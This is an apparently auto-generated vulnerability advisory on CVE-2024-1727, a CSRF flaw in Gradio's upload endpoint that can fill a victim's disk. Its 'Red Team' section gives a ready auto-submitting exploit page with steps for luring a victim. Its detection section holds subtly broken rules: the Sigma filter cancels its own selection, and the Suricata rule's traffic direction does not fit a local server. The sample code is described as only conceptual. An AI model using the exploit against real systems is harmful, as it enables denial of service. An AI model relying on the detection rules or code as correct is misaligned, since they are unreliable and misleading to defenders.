CVE-2024-1727
Executive Summary
CVE-2024-1727 is a Cross-Site Request Forgery (CSRF) vulnerability in the Gradio application framework (gradio-app/gradio). The flaw resides in the file upload functionality implemented in gradio/routes.py. An attacker can craft a malicious HTML page that, when visited by a victim running Gradio locally, triggers an unauthorized upload of multiple large files to the victim's Gradio server. This can deplete disk space, leading to a Denial of Service (DoS) condition. The CVSS score is 4.3 (Medium), with low attack complexity but requiring user interaction. No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gradio is a Python package available on PyPI. This vulnerability affects users who run Gradio locally and are tricked into visiting a malicious webpage. The attack does not require authentication but relies on the victim's browser making requests to the local Gradio server. Organizations using Gradio in development or production environments should assess their exposure, especially if Gradio is exposed to the internet or used in shared environments.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
- Attack Vector (AV): Network – The attack is launched over a network.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – Victim must visit a malicious page.
- Scope (S): Unchanged – The vulnerable component and the attacker's scope are the same.
- Confidentiality (C): None – No data exposure.
- Integrity (I): None – No data modification.
- Availability (A): Low – Disk space depletion can cause service disruption.
Threat Level: Medium. The attack requires user interaction and only affects availability, but it can be easily automated via phishing or drive-by downloads.
Deep Dive & Mechanics
The vulnerability is a classic CSRF in the file upload endpoint of Gradio. Gradio is a Python library for creating web-based machine learning demos. It runs a local web server that handles file uploads via a POST request to a specific route (likely /upload or similar). The server does not validate the origin of the request, allowing a malicious website to send a cross-origin POST request with file data.
Attack Flow:
- Victim runs a Gradio application locally (e.g.,
gradio demo.py). - Attacker crafts an HTML page with a form that automatically submits a POST request to
http://localhost:7860/upload(or the Gradio server's address) with a large file payload. - Victim visits the malicious page (via phishing, ad, or compromised site).
- The browser sends the request, including any cookies or session tokens (if any), to the local Gradio server.
- Gradio processes the upload, writing the large file(s) to disk.
- Repeated uploads fill the disk, causing a denial of service.
Root Cause: Lack of CSRF tokens or origin validation in the file upload handler. The code in gradio/routes.py does not check the Referer header or include anti-CSRF tokens.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (Conceptual):
# gradio/routes.py (vulnerable)
@app.post("/upload")
async def upload_file(file: UploadFile):
# No CSRF check
contents = await file.read()
with open(f"/tmp/{file.filename}", "wb") as f:
f.write(contents)
return {"status": "ok"}
Patched Code (Hypothetical):
# gradio/routes.py (patched)
from fastapi import Request, HTTPException
@app.post("/upload")
async def upload_file(request: Request, file: UploadFile):
# Validate origin
origin = request.headers.get("origin")
if origin and origin != "http://localhost:7860":
raise HTTPException(status_code=403, detail="CSRF detected")
# Or use a CSRF token
token = request.headers.get("X-CSRF-Token")
if not token or token != expected_token:
raise HTTPException(status_code=403, detail="Invalid CSRF token")
contents = await file.read()
with open(f"/tmp/{file.filename}", "wb") as f:
f.write(contents)
return {"status": "ok"}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Victim running Gradio locally on
http://localhost:7860. - Attacker-controlled web server or ability to host a malicious HTML page.
Exploit HTML (save as exploit.html):
<!DOCTYPE html>
<html>
<body>
<h1>Click me for a surprise!</h1>
<form id="csrf-form" action="http://localhost:7860/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="files" id="file-input" multiple>
</form>
<script>
// Automatically submit the form with a large file
window.onload = function() {
// Create a large blob (e.g., 100MB)
const blob = new Blob([new ArrayBuffer(100 * 1024 * 1024)], {type: 'application/octet-stream'});
const file = new File([blob], 'largefile.bin');
const dt = new DataTransfer();
dt.items.add(file);
document.getElementById('file-input').files = dt.files;
document.getElementById('csrf-form').submit();
};
</script>
</body>
</html>
Steps:
- Host the HTML on a server (e.g.,
python -m http.server 9999). - Send the link to the victim (e.g.,
http://attacker.com/exploit.html). - Victim visits the page; the form auto-submits, uploading a large file to the local Gradio server.
- Repeat to fill disk space.
Blue Team
Detection:
- Monitor for multiple large file uploads to Gradio endpoints from external IPs.
- Check for unusual disk usage spikes on systems running Gradio.
- Look for requests to
/uploadwithOriginheaders not matchinglocalhost.
Prevention:
- Implement CSRF tokens in Gradio.
- Use SameSite cookies (if applicable).
- Restrict Gradio to listen only on
127.0.0.1(default) and not expose to network. - Use a reverse proxy (e.g., Nginx) with CSRF protection.
Indicators of Compromise (IOCs)
- Network: POST requests to
/uploadon Gradio port (default 7860) withOriginheader not matchinghttp://localhost:7860. - File System: Large files (e.g.,
largefile.bin) in Gradio's upload directory (e.g.,/tmp/gradio/). - Logs: Gradio logs showing repeated uploads from the same IP or with unusual file sizes.
- Disk: Rapid disk space consumption on the host running Gradio.
Detection Engineering
YARA Rule
rule CVE_2024_1727_CSRF_Upload {
meta:
description = "Detects malicious HTML attempting CSRF upload to Gradio"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-1727"
strings:
$s1 = "http://localhost:7860/upload" nocase
$s2 = "enctype=\"multipart/form-data\"" nocase
$s3 = "new Blob" nocase
$s4 = "ArrayBuffer" nocase
condition:
all of ($s1, $s2) or ($s3 and $s4)
}
Sigma Rule
title: Gradio CSRF File Upload Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential CSRF attack against Gradio file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: gradio
detection:
selection:
cs-method: 'POST'
c-uri: '/upload'
cs-referer:
- 'http://localhost:7860/upload'
- 'http://127.0.0.1:7860/upload'
filter:
cs-referer: 'http://localhost:7860/upload'
condition: selection and not filter
falsepositives:
- Legitimate uploads from the same origin
level: medium
tags:
- attack.t1204
- cve.2024.1727
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1727 Gradio CSRF Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/Origin\x3a\x20(?!http\x3a\x2f\x2flocalhost\x3a7860)/Hi"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Gradio to localhost only – Ensure Gradio binds to
127.0.0.1(default) and not0.0.0.0. - Use a reverse proxy – Place Nginx or Apache in front with CSRF token validation.
- Monitor disk usage – Set alerts for rapid disk space consumption.
Long-term Fix:
- Apply a patch from the vendor when available.
- Implement CSRF protection in Gradio (e.g., using FastAPI's built-in CSRF middleware or custom token validation).
- Update to the latest Gradio version once patched.
Workaround:
- Disable file upload functionality if not needed.
- Use a firewall to block external access to Gradio ports.
Valters IT